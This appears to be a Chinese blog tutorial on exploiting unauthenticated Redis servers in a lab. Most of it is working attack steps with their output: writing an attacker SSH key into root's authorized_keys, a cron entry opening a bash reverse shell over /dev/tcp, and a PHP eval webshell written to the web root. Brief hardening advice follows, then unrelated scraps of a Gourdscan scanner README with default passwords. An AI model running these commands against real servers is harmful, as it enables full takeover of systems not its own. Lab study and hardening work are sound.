Redis未授权漏洞检测方法+Redis基础+Redis环境搭建+Redis恶意利用

前言

Redis是一个开源的使用ANSIC语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。
文章只作为信息爱好者复现并加固漏洞,切勿做非法攻击,产生一切后果与本作者无关!

一、Redis命令基础

登录Redis:./redis-cli -h 127.0.0.1
查看Redis版本信息:./redis-cli -h 127.0.0.1 info | grep 'redis_version'

在这里插入图片描述

添加键:set O8 shuaibi
查看键值:get O8
查看有多少数据:DBSIZE
清除所有键:FLUSHALL
设置路径:CONFIG set dir /home
查看路径::CONFIG GET dir

在这里插入图片描述
在这里插入图片描述

二、Redis漏洞未授权挖掘

Redis是Key-Value数据库,当存在未授权访问时,如果是以root权限运行Redis可以直接拿下目标服务器控制权限,如果是低权限且知道网站运行路径时可以getshell。

Redis默认运行端口是6379。
检测是否有未授权访问:telnet 目标IP 6379

出现这一堆说明不存在未授权漏洞
在这里插入图片描述
出现这种,尝试下是否解析字符串
在这里插入图片描述
先随便输入点啥回车
然后输入echo "O8???"回车
在这里插入图片描述
发现被解析了,这个时候已经确定有redis未授权访问漏洞了,那么我们继续深入。
输入quit退出
在这里插入图片描述

二、Redis环境搭建与概述

1)环境概述

被攻击服务器

操作系统:kali 
运行组件:redis4.0服务
ip地址:192.168.29.129

攻击机

操作系统:kali 
运行组件:redis4.0客户端
ip地址:192.168.29.130

2)环境搭建

说明:被攻击服务器需要搭建redis服务,攻击机由于需要连接redis,所以也要安装redis

cd /
wget download.redis.io/releases/redis-4.0.11.tar.gz
tar zxf redis-4.0.11.tar.gz
cd redis-4.0.11
make PREFIX=/usr/local/redis install

在这里插入图片描述
检查安装是否有问题

make test

如果报错了:

yum -y install tcl

将源码中redis.conf拷贝到/usr/local/redis目录

cp /redis-4.0.11/redis.conf /usr/local/redis

修改redis.conf中“daemonize no”为“daemonize yes”,表示redis以后台的方式启动

cd /usr/local/redis
vi redis.conf
修改 “daemonize no”为“daemonize yes”
被攻击服务器需要多修改这两个:
修改 “bind 127.0.0.1”为“#bind 127.0.0.1”
修改 “protected-mode yes”为“protected-mode no”

服务器后台启动

/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf

查看进程

ps -ef| grep redis

测试:

/usr/local/redis/bin/redis-cli

在这里插入图片描述
记得两台机器都要装一遍。

三、漏洞利用

1)未授权漏洞利用说明

root权限:可以直接写入ssh公匙进行接管服务器。
低权限:网站运行web服务且知道绝对路径可以getshell。
192.168.29.129开启Redis服务:

/usr/local/redis/bin/redis-server /usr/local/redis/redis.conf

2)root权限漏洞利用

攻击机:192.168.29.130

1、创建ssh公匙
ssh-keygen -t rsa -C "aaa@163.com"

在这里插入图片描述
需要把这个公钥复制到目标机器

2、创建一个O8.txt密匙
cd /root/.ssh
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > O8.txt

在这里插入图片描述

3、清除Redis所有数据
root@solitary:/redis-4.0.11/src# cd /redis-4.0.11/src/
root@solitary:/redis-4.0.11/src# ./redis-cli -h 192.168.29.129 flushall
OK
4、 Redis创建恶意key
root@solitary:/redis-4.0.11/src# cat /root/.ssh/O8.txt | ./redis-cli -h 192.168.29.129 -x set O8
OK
查看创建的key的键内容:
root@solitary:/redis-4.0.11/src# ./redis-cli -h 192.168.29.129
192.168.29.129:6379> GET O8

在这里插入图片描述在这里插入图片描述

5、修改Redis路径
192.168.29.129:6379> CONFIG SET dir /root/.ssh/
OK
192.168.29.129:6379> CONFIG SET dir /usr/local/redis
OK
192.168.29.129:6379> CONFIG GET dir
1) "dir"
2) "/usr/local/redis"
192.168.29.129:6379> CONFIG SET dir /root/.ssh/
OK
192.168.29.129:6379> CONFIG GET dir
1) "dir"
2) "/root/.ssh"

在这里插入图片描述
如果报(error) ERR Changing directory: No such file or directory错误
在这里插入图片描述
需要在Redis服务器192.168.29.129的root目录下创建.ssh目录

root@kali:~# cd /root
root@kali:~# mkdir .ssh
6、攻击机写入
192.168.29.129:6379> config set dbfilename "authorized_keys"
OK
192.168.29.129:6379> save
OK

在这里插入图片描述
尝试登录被攻击服务器

root@solitary:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.29.130  netmask 255.255.255.0  broadcast 192.168.29.255
        inet6 fe80::20c:29ff:fe8a:7070  prefixlen 64  scopeid 0x20<link>
        ether 00:0c:29:8a:70:70  txqueuelen 1000  (Ethernet)
        RX packets 36077  bytes 33249632 (31.7 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 10859  bytes 873271 (852.8 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
尝试登录:
root@solitary:~# ssh -i /root/.ssh/id_rsa root@192.168.29.129
Linux kali 4.17.0-kali1-amd64 #1 SMP Debian 4.17.8-1kali1 (2018-07-24) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug 23 16:37:54 2019 from 192.168.29.129
root@kali:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.29.129  netmask 255.255.255.0  broadcast 192.168.29.255
        inet6 fe80::250:56ff:fe38:3822  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:38:38:22  txqueuelen 1000  (Ethernet)
        RX packets 5744  bytes 2165519 (2.0 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 2797  bytes 257430 (251.3 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
        device interrupt 19  base 0x2000  

在这里插入图片描述
查看Redis服务器192.168.29.129被写入的公匙

root@kali:/home# cd /root/.ssh/
root@kali:~/.ssh# cat authorized_keys

在这里插入图片描述
如果提示连接端口未开启或者连接拒绝,需要在被攻击服务器上开启ssh服务
修改sshd_config:

vi /etc/ssh/sshd_config
将"#PasswordAuthentication no"修改为"PasswordAuthentication YES"	//默认YES
将"#Port 22"修改"Port 22"
将"#PermitRootLogin yes"修改"PermitRootLogin yes"
保存后启动服务:
service ssh start

3)20200927新增定时任务反弹shell

[root@security-log ~]# redis-cli -h IP -a passwd
IP:6379> get key
(*****)
IP:6379> config set dir /var/spool/cron
OK
IP:6379> set -.- "\n\n\n* * * * * bash -i &gt;& /dev/tcp/ip/port 0&gt;&1\n\n\n"
OK
IP:6379> config set dbfilename root
OK
IP:6379> save

监听:

[root@security-log ~]# nc -lvnp 8787

4)低权限漏洞利用

当 redis 权限不高时,并且服务器开着 web 服务,在 redis 有 web 目录写权限时,可以尝试往 web 路径写 webshell。

root@solitary:/redis-4.0.11/src# ./redis-cli -h 192.168.29.129 flushall
OK
root@solitary:/redis-4.0.11/src# ./redis-cli -h 192.168.29.129
192.168.29.129:6379> config set dir /var/www/html/
OK
192.168.29.129:6379> config set dbfilename shell.php
OK
192.168.29.129:6379> set x "<?php @eval($_POST['O8']);?>"
OK
192.168.29.129:6379> save
OK

在这里插入图片描述
192.168.29.129上查看shell

root@kali:/var/www/html# ls
index.html  index.nginx-debian.html  O8.php  shell.php
root@kali:/var/www/html# cat shell.php 

在这里插入图片描述

四、漏洞加固

1.修改bind参数,将服务器绑定到127.0.0.1上;
2.修改port参数,监听端口改成其他端口号;
3.修改requirepass参数,设置一个复杂的密码;
4.通过rename-command修改config命令的名字,如修改为空字符串""表示禁用config命令;
5.不要以root用户启动redis-server进程。
6.ssh等服务尽量不要对外开放

参考文献

https://www.secpulse.com/archives/40406.html
https://blog.csdn.net/boke14122621/article/details/86671918
https://blog.csdn.net/u010472499/article/details/78905701
windows攻击机配置

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Gourdscan v2.1 被动式漏洞扫描系统 Passive Vulnerability Scan 为避免 Gourdscan 被恶意利用,开源版本只放出了简单的探测规则,无法用作为黑客入侵工具。请使用者遵守《中华人民共和国网络安全法》,勿将 Gourdscan 用于授权测试,参与项目的社区成员/YSRC/同程安全应急响应中心/同程网络科技股份有限公司不负任何连带法律责任。 安装依赖: Linux 安装 Redis apt-get install redis-server 或从源码编译安装 wget http://download.redis.io/redis-stable.tar.gz && tar xzf redis-stable.tar.gz && cd redis-stable && make && make install 系统已有 Redis 的,运行 redis-server --version 查看自己的版本,需注意2.x版本的 Redis 会有问题 安转 python 类库 基础模块 安装pip wget https://sec.ly.com/mirror/get-pip.py --no-check-certificate && python get-pip.py -i https://mirrors.aliyun.com/pypi/simple/ $ pip install -r requirements.txt -i https://mirrors.aliyun.com/pypi/simple/ 其他事项 以下如果有报错便可以安装,一般不需要安装 镜像: https://sec.ly.com/mirror/libdnet-libdnet-1.12.tar.gz https://sec.ly.com/mirror/pylibpcap-0.6.4.tar.gz $ wget https://github.com/dugsong/libdnet/archive/master.zip && unzip master.zip $ wget http://dfn.dl.sourceforge.net/sourceforge/pylibpcap/pylibpcap-0.6.4.tar.gz && tar zxf pylibpcap-0.6.4.tar.gz Windows 下载 Redis https://sec.ly.com/mirror/Redis-x64-3.2.100.zip 启动 Redis redis-server.exe GourdScan路径\conf\redis.conf 如需使用网卡抓包方式,同程src已有各依赖镜像,可以把exe文件都装上 https://sec.ly.com/mirror/dnet-1.12.win32-py2.7.exe https://sec.ly.com/mirror/dpkt-1.7.win32.exe https://sec.ly.com/mirror/pcap-1.1.win32-py2.7.exe https://sec.ly.com/mirror/WinPcap_4_1_3.exe OSX 安装 homebrew /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)" 安装 redis brew install redis 启动 redis redis-server conf/redis.conf 安装依赖 pip install pcapy -i https://pypi.doubanio.com/simple/ git clone https://github.com/dugsong/libdnet.git && cd libdnet && ./configure && make && cd python && python setup.py install 使用方法redis-server conf/redis.conf python gourdscan.py conf.json 默认平台用户名密码为:admin:Y3rc_admin 默认redis密码为:Y3rc_Alw4ys_B3_W1th_Y0u 如果有勾选sqlmap api scan选项,请在服务器上开启sqlmap api。 一切正常的话你就可以在8000端口上访问到 GourdScanV2 的 web 界面了 Start Monitor 中提供了三种代理方式,区别的话在下方文档有
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值